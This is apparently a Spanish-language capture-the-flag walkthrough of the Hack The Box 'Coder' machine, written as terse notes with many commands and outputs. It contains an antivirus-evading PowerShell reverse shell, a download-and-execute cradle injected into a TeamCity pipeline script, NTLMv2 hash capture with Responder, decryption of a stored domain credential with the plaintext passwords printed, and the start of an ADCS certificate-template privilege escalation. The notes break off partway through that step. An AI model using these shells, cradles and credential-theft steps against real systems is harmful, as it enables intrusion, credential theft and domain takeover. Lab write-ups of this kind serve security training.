  + A simple and small reverse shell. Options and help removed to save sp ...

17:51:56
  + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

17:51:56
  This script contains malicious content and has been blocked by your antivirus software.

17:51:56
  At C:\TeamCity\buildAgent\work\74c2f03019966b3e\hello_world.ps1:2 char:1

17:51:56
  + IEX((New-Object Net.WebClient).downloadString('http://10.10.16.32:800 ...

17:51:56
  + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

17:51:56
      + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException

17:51:56
      + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand

17:51:56


17:51:56
  Done
```

```
 #Activamos el servidor http en www
 python3 -m http.server
```

#Activamos la escucha por el puerto 9001

#En el servidor, observamos como ha llamos al rev_shell

```
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.207 - - [08/Jan/2024 02:51:56] "GET /shell.ps1 HTTP/1.1" 200 -
```

#Comprobamos porque no se ha activado la conexión tcp.

“This script contains malicious content and has been blocked by your antivirus software”

#Tenemos que realizar algunos cambios en nuestro rev_shell.

```
A simple and small reverse shell. Options and help removed to save space.
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$alle = New-Object System.Net.Sockets.TCPClient('10.10.16.32',9001);$pleasesub = $alle.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $pleasesub.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$stuff = (iex $data 2>&1 | Out-String );$stuff2  = $stuff + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($stuff2);$pleasesub.Write($sendbyte,0,$sendbyte.Length);$pleasesub.Flush()};$alle.Close()

#$sm=(New-Object Net.Sockets.TCPClient('192.168.254.1',55555)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
```

```
nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.32] from (UNKNOWN) [10.10.11.207] 50860

> whoami
coder\svc_teamcity
```

responder

```
cd www
mkdir test
touch asd.txt
```

```
nc -nlvp 9001                                                                          │    MDNS                  [ON]
listening on [any] 9001 ...                                                                 │    DNS                   [ON]
connect to [10.10.16.60] from (UNKNOWN) [10.10.11.207] 58754                                             │
DHCP                     [OFF]
                                                                                      │
> whoami                                                                                  │[+] Servers:
coder\svc_teamcity                                                                        │    HTTP server
[ON]
> type \\10.10.16.60\test\asd.txt
```

```
sudo responder -I tun0
```

```
SMB] NTLMv2-SSP Client   : 10.10.11.207
[SMB] NTLMv2-SSP Username : CODER\svc_teamcity
[SMB] NTLMv2-SSP Hash     :
svc_teamcity::CODER:e67582b7ab595f87:FD09015D9B4A79B19D71BBA71BD72DD3:01010000000000000049EE608A42DA01D22AEE903DF-
93F6600000000020008004F0055004D00570001001E00570049004E002D0038004A0050004F00390048004700390033005400330004003400
00570049004E002D0038004A0050004F003900480047003900330054003300 2E004F0055004D0057002E004C004F00430041004C0003001
4004F0055004D0057002E004C004F00430041004C00050014004F0055004D0057002E004C004F00430041004C00070008000049EE608A4
2DA0106000400020000000800300030000000000000000000000000300000BD8383EC109D439177564AF6CF9D78C663DA3EFCEBD40D43
12A9317EBA86B69E0A001000000000000000000000000000000000000090020006300690066007300 2F00310030002E00310030002E00310
036002E0036003000000000000000000000
```

#Hemos obtenido el hash.

search_old_keys

#nc -nlvp 9001
#Vamos al directorio C:\programdata\jetbrains\teamcity\system\changes
#Ahi buscaremos algún cambio. Dentro de el cambio tenemos que buscar alguna credencial de powershell.
#Vemos el primer cambio y lo miramos con type

> cd C:\programdata\jetbrains\teamcity\system\changes
> type 101.changes.diff

```
diff --git a/Get-ADCS_Report.ps1 b/Get-ADCS_Report.ps1
index d6515ce..a990b2e 100644
--- a/Get-ADCS_Report.ps1
+++ b/Get-ADCS_Report.ps1
@@ -77,11 +77,15 @@ Function script:send_mail {
      [string]
      $subject
    )
+
+$key = Get-Content ".\key.key"
+$pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key)
+$cred = New-Object -TypeName System.Management.Automation.PSCredential ("coder\e.black",$pass)
 $emailFrom = 'pkiadmins@coder.htb'
 $emailCC = 'e.black@coder.htb'
 $emailTo = 'itsupport@coder.htb'
 $smtpServer = 'smtp.coder.htb'
-Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -
BodyAsHtml -Priority High
+Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -
BodyAsHtml -Priority High -Credential $cred
 }


diff --git a/enc.txt b/enc.txt
new file mode 100644
index 0000000..d352634
--- /dev/null
+++ b/enc.txt
@@ -0,0 +1,2 @@
+76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwAN-
ABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAM-
gAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQAN
+AA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA-
5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA==
diff --git a/key.key b/key.key
new file mode 100644
index 0000000..a6285ed
--- /dev/null
+++ b/key.key
@@ -0,0 +1,32 @@
+144
+255
+52
+33
+65
+190
+44
+106
+131
+60
+175
+129
+127
+179
+69
+28
+241
+70
+183
+53
+153
+196
+10
+126
+108
+164
+172
+142
+119
+112
+20
+122
```

#Podemos diferenciar dos ficheros:
enc.txt

```
76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwANABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAMgAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQANAA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA==
```

key.key

```
144
255
52
33
65
190
44
106
131
60
175
129
127
179
69
28
241
70
183
53
153
196
10
126
108
164
172
142
119
112
20
122
```

#Vamso a /mnt

```
cd /mnt
cd /migrations

dir
Migrations  Temporary\ Projects
```

```
┌──(root㉿kali)-[/mnt]
└─# cd Migrations
```

```
┌──(root㉿kali)-[/mnt/Migrations]
└─# dir
Cachet-2.4  adcs_reporting  bootstrap-template-master  kimchi-master  teamcity_test_repo
```

```
┌──(root㉿kali)-[/mnt/Migrations]
└─# cd adcs_reporting
```

```
┌──(root㉿kali)-[/mnt/Migrations/adcs_reporting]
└─# dir
Get-ADCS_Report.ps1
```

```
┌──(root㉿kali)-[/mnt/Migrations]
└─# cp -r adcs_reporting /root/Desktop/machines/Coder
```

#Copiamos el contenido de 101.changes.diff dentro de diff.git
vim diff.git

```
diff --git a/Get-ADCS_Report.ps1 b/Get-ADCS_Report.ps1
index d6515ce..a990b2e 100644
--- a/Get-ADCS_Report.ps1
+++ b/Get-ADCS_Report.ps1
@@ -77,11 +77,15 @@ Function script:send_mail {
     [string]
     $subject
   )
+
+$key = Get-Content ".\key.key"
+$pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key)
+$cred = New-Object -TypeName System.Management.Automation.PSCredential ("coder\e.black",$pass)
 $emailFrom = 'pkiadmins@coder.htb'
 $emailCC = 'e.black@coder.htb'
 $emailTo = 'itsupport@coder.htb'
 $smtpServer = 'smtp.coder.htb'
-Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -
BodyAsHtml -Priority High
+Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -
BodyAsHtml -Priority High -Credential $cred
 }


diff --git a/enc.txt b/enc.txt
new file mode 100644
index 0000000..d352634
--- /dev/null
+++ b/enc.txt
@@ -0,0 +1,2 @@
+76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwAN-
ABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAM-
gAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQAN
+AA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA-
5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA==
diff --git a/key.key b/key.key
new file mode 100644
index 0000000..a6285ed
--- /dev/null
+++ b/key.key
```

```
──(root㉿kali)-[~/Desktop/machines/Coder/adcs_reporting]
└─# ll
total 12
-rwxr-xr-x 1 root root 7245 Jan  9 00:03 Get-ADCS_Report.ps1
-rw-r--r-- 1 root root 1541 Jan  9 00:09 diff.git

git apply diff.git
warning: Get-ADCS_Report.ps1 has type 100755, expected 100644

┌──(root㉿kali)-[~/Desktop/machines/Coder/adcs_reporting]
└─#  ll
total 16
-rwxr-xr-x 1 root root 7459 Jan  9 00:09 Get-ADCS_Report.ps1
-rw-r--r-- 1 root root 1541 Jan  9 00:09 diff.git
-rw-r--r-- 1 root root  450 Jan  9 00:09 enc.txt
-rw-r--r-- 1 root root    0 Jan  9 00:09 key.key

#Vemos como se nos genera el fichero enc.txt
#Ahora copiamos los fichero key.key y enc.txt dentro de

cp enc.txt key.key ../teamcity_test_repo
```

diff_repos

```
cd ../teamcity_test_repo

Desktop/machines/Coder/teamcity_test_repo]
└─# git diff
diff --git a/hello_world.ps1 b/hello_world.ps1
old mode 100644
new mode 100755
index 09724d2..ef5086e
--- a/hello_world.ps1
+++ b/hello_world.ps1
@@ -1,2 +1,3 @@
 #Simple repo test for Teamcity pipeline
-write-host "Hello, World!"
+IEX((New-Object Net.WebClient).downloadString('http://10.10.16.60:8000/shell.ps1'))
+write-host "Done"

git diff enc.txt key.key
git diff HEAD > diff.git

git diff HEAD
diff --git a/enc.txt b/enc.txt
new file mode 100644
index 0000000..d352634
--- /dev/null
+++ b/enc.txt
@@ -0,0 +1,2 @@
+76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwANABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAMgAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQAN
+AA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA==
diff --git a/hello_world.ps1 b/hello_world.ps1
old mode 100644
new mode 100755
index 09724d2..ef5086e
--- a/hello_world.ps1
+++ b/hello_world.ps1
@@ -1,2 +1,3 @@
 #Simple repo test for Teamcity pipeline
-write-host "Hello, World!"
+IEX((New-Object Net.WebClient).downloadString('http://10.10.16.60:8000/shell.ps1'))
+write-host "Done"
diff --git a/key.key b/key.key
new file mode 100644
index 0000000..a6285ed
--- /dev/null
+++ b/key.key
@@ -0,0 +1,32 @@
+144
```

ADCS_report

```
cd adcs_report
cat ADCS_REPORT
```

```
$key = Get-Content ".\key.key"
$pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key)
$cred = New-Object -TypeName System.Management.Automation.PSCredential ("coder\e.black",$pass)
$emailFrom = 'pkiadmins@coder.htb'
$emailCC = 'e.black@coder.htb'
$emailTo = 'itsupport@coder.htb'
$smtpServer = 'smtp.coder.htb'
Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High -Credential $cred
}
```

```
#Copiamos el fichero enc.txt si no lo tenemos ya.
curl 10.10.16.60:8000/enc.txt -o enc.txt
#Copiamos los comandos en la sesión nc.

$key = Get-Content ".\key.key"
$pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key)
$cred = New-Object -TypeName System.Management.Automation.PSCredential ("coder\e.black",$pass)
$cred.GetNetworkCredential()
$cred.GetNetworkCredential().Password

#Nos muestra la contraseña del usuario e.black
```

```
> $key = Get-Content ".\key.key"
> $pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key)
> $cred = New-Object -TypeName System.Management.Automation.PSCredential ("coder\e.black",$pass)
> $cred.GetNetworkCredential()

UserName                                         Domain
--------                                       ------
e.black                                          coder


> $cred.GetNetworkCredential().Password
ypOSJXPqlDOxxbQSfEERy300
```

```
netexec smb 10.10.11.207 -u e.black -p ypOSJXPqlDOxxbQSfEERy300
SMB         10.10.11.207    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.207    445    DC01             [+] coder.htb\e.black:ypOSJXPqlDOxxbQSfEERy300
```

```
netexec winrm 10.10.11.207 -u e.black -p ypOSJXPqlDOxxbQSfEERy300
SMB         10.10.11.207    445    DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:coder.htb)
WINRM       10.10.11.207    5985   DC01             [+] coder.htb\e.black:ypOSJXPqlDOxxbQSfEERy300 (Pwn3d!)
```

```
evil-winrm -i 10.10.11.207 -u e.black -p ypOSJXPqlDOxxbQSfEERy300

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\e.black\Documents>
```

```
#Creeds

e.black:ypOSJXPqlDOxxbQSfEERy300
```

priv_escalation

```
*Evil-WinRM* PS C:\Users\e.black\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                            Attributes
============================================ ================
================================================
====================================================
Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled
group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                   Mandatory group, Enabled by default,
Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled
group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default,
Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574                                   Mandatory group, Enabled by default,
Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default,
Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default,
Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default,
Enabled group
CODER\PKI Admins                            Group            S-1-5-21-2608251805-3526430372-1546376444-2101 Mandatory group, Enabled by
default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                    Mandatory group, Enabled by
default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448
*Evil-WinRM* PS C:\Users\e.black\Documents> net group "PKI Admins"
Group name     PKI Admins
Comment        ADCS Certificate and Template Management

Members

-------------------------------------------------------------------------------
e.black
The command completed successfully.

*Evil-WinRM* PS C:\Users\e.black\Documents>
```

```
git clone https://github.com/h4wkst3r/InvisibilityCloak
git clone https://github.com/BloodHoundAD/SharpHound.git
git clone https://github.com/dirkjanm/BloodHound.py
```

#Let´s open bloodhound

```
bloodhound-python -c All -u e.black -p 'ypOSJXPqlDOxxbQSfEERy300' -ns 10.10.11.207 -d coder.htb -dc dc01.coder.htb --zip
INFO: Found AD domain: coder.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew
too great)
INFO: Connecting to LDAP server: dc01.coder.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.coder.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 10 users
INFO: Found 55 groups
INFO: Found 3 gpos
INFO: Found 5 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.coder.htb
^LINFO: Done in 00M 44S
INFO: Compressing output into 20240109140049_bloodhound.zip
```

```
apt-get install neo4j

neo4j console
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Directories in use:
home:         /usr/share/neo4j
config:       /usr/share/neo4j/conf
logs:         /etc/neo4j/logs
plugins:      /usr/share/neo4j/plugins
import:       /usr/share/neo4j/import
data:         /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses:     /usr/share/neo4j/licenses
run:          /var/lib/neo4j/run
Starting Neo4j.
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
2024-01-09 13:04:24.584+0000 INFO  Starting...
2024-01-09 13:04:24.950+0000 INFO  This instance is ServerId{6fbf46a7} (6fbf46a7-911e-4b10-bd8a-36c041dec878)
2024-01-09 13:04:26.244+0000 INFO  ======== Neo4j 4.4.26 ========
2024-01-09 13:04:27.873+0000 INFO  Initializing system graph model for component 'security-users' with version -1 and status UNINITIALIZED
2024-01-09 13:04:27.878+0000 INFO  Setting up initial user from defaults: neo4j
2024-01-09 13:04:27.879+0000 INFO  Creating new user 'neo4j' (passwordChangeRequired=true, suspended=false)
2024-01-09 13:04:27.888+0000 INFO  Setting version for 'security-users' to 3
2024-01-09 13:04:27.890+0000 INFO  After initialization of system graph model component 'security-users' have version 3 and status CURRENT
2024-01-09 13:04:27.894+0000 INFO  Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2024-01-09 13:04:28.215+0000 INFO  Bolt enabled on localhost:7687.
2024-01-09 13:04:28.951+0000 INFO  Remote interface available at http://localhost:7474/
2024-01-09 13:04:28.954+0000 INFO  id: 01097DBC6A0F3414BB8E41467243ABCE2F5FA4D63621698FA4D4502089449C30
2024-01-09 13:04:28.954+0000 INFO  name: system
2024-01-09 13:04:28.954+0000 INFO  creationDate: 2024-01-09T13:04:26.886Z
2024-01-09 13:04:28.954+0000 INFO  Started.


#Instalamos dependencias
apt install python3.11-venv
python3 -m venv venv
source venv/bin/activate

#Importamos el contenido

apt-get install bloodhound
./bloodhound

#Una vez importado el .zip en bloodhound, buscamos por e.black
```

bloodhound

#Selecionamos a los usuario e.black y s.blade como infectados
→ “Mark as owned”
--> “Analisis” --> “Shortest Paths” → “Shortest path from Owned Principals”

#Seleccinamos el usuario.
#Si vamos a “Database info” → “ON-PREM-OBJECTS”, podemos ver en la sección OUS 5 usuarios.
#Referecamos si no aparecen.
#Podemos buscar por los grupos.

#Para e.black

GROUP MEMBERSHIP

First Degree Group Memberships	**3**
Unrolled Group Membership	8
Foreign Group Membership	0

#Seleccionamos en “Outbound Object Control” → “Transitive object control"

PKI ADMINS@CODER.HTB

Description	**ADCS Certificate and Template Management**

#Tomamos nota.
e.blake --> PKI Admin: Modify ADCS Templates

#Esto lo que nos permite es poder crear certificados o "tickets" para explotarlos despúes.

```
  netexec ldap 10.10.11.207 -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -M MAQ
SMB         10.10.11.207    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True)
(SMBv1:False)
LDAPS       10.10.11.207    636    DC01             [+] coder.htb\e.black:ypOSJXPqlDOxxbQSfEERy300
MAQ         10.10.11.207    389    DC01             [*] Getting the MachineAccountQuota
MAQ         10.10.11.207    389    DC01             MachineAccountQuota: 0
```

#Como el valor está en 0, no podermos generar tickers.

#Con s.blade tapoco podermos.

```
 netexec ldap 10.10.11.207 -u s.blade -p AmcwNO60Zg3vca3o0HDrTC6D -M MAQ
SMB         10.10.11.207    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True)
(SMBv1:False)
LDAPS       10.10.11.207    636    DC01             [+] coder.htb\s.blade:AmcwNO60Zg3vca3o0HDrTC6D
MAQ         10.10.11.207    389    DC01             [*] Getting the MachineAccountQuota
MAQ         10.10.11.207    389    DC01             MachineAccountQuota: 0
```

#S.blade -> Software Developers
→ BuildAgent MGMT

#Habilitamos el modo "Debug mode" en bloodhound para poder ver que comando se está ejecutano en cada momento.
#Seleccionamos --> "Analysisi" → “Find All Domain Admins”

```
MATCH p=(n:Group)<-[:MemberOf*1..]-(m) WHERE n.objectid =~ "(?i)S-1-5-.*-512" RETURN p
```

#Modificamos la quierry para buscar datos.
#Escribimos:

```
MATCH p=(o:OU) - [r:Contains*0..]->(n) RETURN p
```

#Vemos que hay una grupo que no contiene nada, se llama "buildagents".
#Buscamos por su nombre distintivo.

OU=BUILDAGENTS,OU=DEVELOPMENT,DC=CODER,DC=HTBOU=BUILDAGENTS,OU=DEVELOPMENT,DC=CODER,DC=HTB

```
evil-winrm -i 10.10.11.207 -u e.black -p ypOSJXPqlDOxxbQSfEERy300

(Get-ACL "AD:$((Get-ADOrganizationalUnit -Identity
'OU=BuildAgents,OU=DEVELOPMENT,DC=CODER,DC=HTB').distinguishedname)").access

#Podemos añadir...
| where IdentityReference -eq "CODER\BuildAgent mgmt"
```

```
*Evil-WinRM* PS C:\Users\e.black\Documents>  (Get-ACL "AD:$((Get-ADOrganizationalUnit -Identity
'OU=BuildAgents,OU=DEVELOPMENT,DC=CODER,DC=HTB').distinguishedname)").access  | where IdentityReference -eq
"CODER\BuildAgent mgmt"


ActiveDirectoryRights : CreateChild, DeleteChild
InheritanceType       : All
ObjectType            : bf967a86-0de6-11d0-a285-00aa003049e2
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : ObjectAceTypePresent
AccessControlType     : Allow
IdentityReference     : CODER\BuildAgent Mgmt
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : None

ActiveDirectoryRights : Self, ReadProperty, WriteProperty
InheritanceType       : Descendents
ObjectType            : 72e39547-7b18-11d1-adef-00c04fd8d5cd
InheritedObjectType   : bf967a86-0de6-11d0-a285-00aa003049e2
ObjectFlags           : ObjectAceTypePresent, InheritedObjectAceTypePresent
AccessControlType     : Allow
IdentityReference     : CODER\BuildAgent Mgmt
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : InheritOnly
```

#Podemos ver dos entradas referidas a dos objetos diferentes; el primero, bf967a86-0de6-11d0-a285-00aa003049e2, representa el objeto Computadora, y este último, 72e39547-7b18-11d1-adef 00c04fd8d5cd, representa un nombre de host DNS validado.

Priv_escalation

#Servicios de certificados de Active Directory
#Reiteramos, con base en la información proporcionada, entendemos que s.blade es miembro del Grupo BuildAgent Mgmt con ACL para crear y eliminar objetos de computadora en BuildAgentsUNED. Además, sabemos que e.black tiene la capacidad de administrar plantillas de certificados ADCS,
a través de la membresía del grupo de administradores de PKI.

#Al combinar estos permisos, un atacante podría crear una plantilla de certificado malicioso, inscribir un
objeto de computadora con el nombre DNS dc01 y extraiga el hash NTLM usando certipy.
#Sin embargo, Cabe señalar que esta vulnerabilidad, denominada Certifried, fue parcheada recientemente en mayo de
2022.
Sin embargo, después de investigar los detalles del parche, es posible que sea posible utilizarlo.
#Los permisos de e.black para modificar la plantilla con indicadores personalizados para omitir el nuevo
medida de seguridad implementada.

#Según esta publicación de blog que analiza la vulnerabilidad antes mencionada, "Plantillas de certificado con el nuevo indicador CT_FLAG_NO_SECURITY_EXTENSION (0x80000) establecido en msPKI-Enrollment-
#El atributo de bandera no incorporará el nuevo OID szOID_NTDS_CA_SECURITY_EXT y, por lo tanto, estos.
#Las plantillas siguen siendo vulnerables a este ataque."
#Esto significa que podemos crear una plantilla maliciosa configurando el parámetro CT_FLAG_NO_SECURITY_EXTENSION a 524288 (o 0x8000 en hexadecimal).
#Para ello utilizamos ADCSTemplate para clonar una plantilla sobre la que realizaremos los ajustes necesarios.
#Clonamos el repositorio en nuestra máquina atacante y usamos el comando de carga de evil-winrm para
cargue el archivo ADCSTemplate.psm1 en el destino. Luego importamos el script a PowerShell.

https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4

```
certipy-ad find -u e.black@coder.htb -p 'ypOSJXPqlDOxxbQSfEERy300' -dc-ip 10.10.11.207 -vulnerable -stdout
```

```
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'coder-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'coder-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'coder-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'coder-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : coder-DC01-CA
    DNS Name                            : dc01.coder.htb
    Certificate Subject                 : CN=coder-DC01-CA, DC=coder, DC=htb
    Certificate Serial Number           : 2180F0D10CFECB9840260D0730724BDF
    Certificate Validity Start          : 2022-06-29 03:51:44+00:00
    Certificate Validity End            : 2052-06-29 04:01:44+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CODER.HTB\Administrators
      Access Rights
        ManageCa                        : CODER.HTB\Administrators
                                          CODER.HTB\Domain Admins
                                          CODER.HTB\Enterprise Admins
        ManageCertificates              : CODER.HTB\Administrators
                                          CODER.HTB\Domain Admins
                                          CODER.HTB\Enterprise Admins
        Enroll                          : CODER.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates
```

```
git clone https://github.com/GoateePFE/ADCSTemplate
```

#Instalamos impacket y vamos a la sesión Evil-Winrm.

```
git clone https://github.com/fortra/impacket
```

#Una vez clonado el fichero addcomputer.py a nuestro entorno de trabajo. Modificaremos una línea.

```
cat addcomputer.py | grep dns
                    'dnsHostName': '%s.%s' % ('dc01', self.__domain),

*Evil-WinRM* PS C:\Users\e.black\Documents> cd ADCS
*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> curl 10.10.16.60:8000/ADCSTemplate.psd1 -o ADCSTemplate.psd1
*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> curl 10.10.16.60:8000/ADCSTemplate.psm1 -o ADCSTemplate.psm1

*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> Import-Module ./ADCSTemplate.psd1
```

#Una vez importado el módulo.

```
*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> Get-ADCSTemplate


CanonicalName                   : coder.htb/Configuration/Services/Public Key Services/Certificate Templates/User
CN                              : User
Created                         : 6/28/2022 9:01:44 PM
createTimeStamp                 : 6/28/2022 9:01:44 PM
Deleted                         :
Description                     :
DisplayName                     : User
DistinguishedName               : CN=User,CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=coder,DC=htb
dSCorePropagationData           : {6/29/2022 10:03:11 PM, 12/31/1600 4:00:00 PM}
flags                           : 66106
instanceType                    : 4
```

#Esto nos mostrará los certificados que tiene el servidor.

```
*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> Get-ADCSTemplate | select DisplayName

DisplayName
-----------
User
User Signature Only
Smartcard User
Authenticated Session
Smartcard Logon
Basic EFS
Administrator
EFS Recovery Agent
Code Signing
Trust List Signing
Enrollment Agent
Exchange Enrollment Agent (Offline request)
Enrollment Agent (Computer)
Computer
Domain Controller
Web Server
Root Certification Authority
Subordinate Certification Authority
IPSec
IPSec (Offline request)
Router (Offline request)
CEP Encryption
Exchange User
Exchange Signature Only
Cross Certification Authority
CA Exchange
Key Recovery Agent
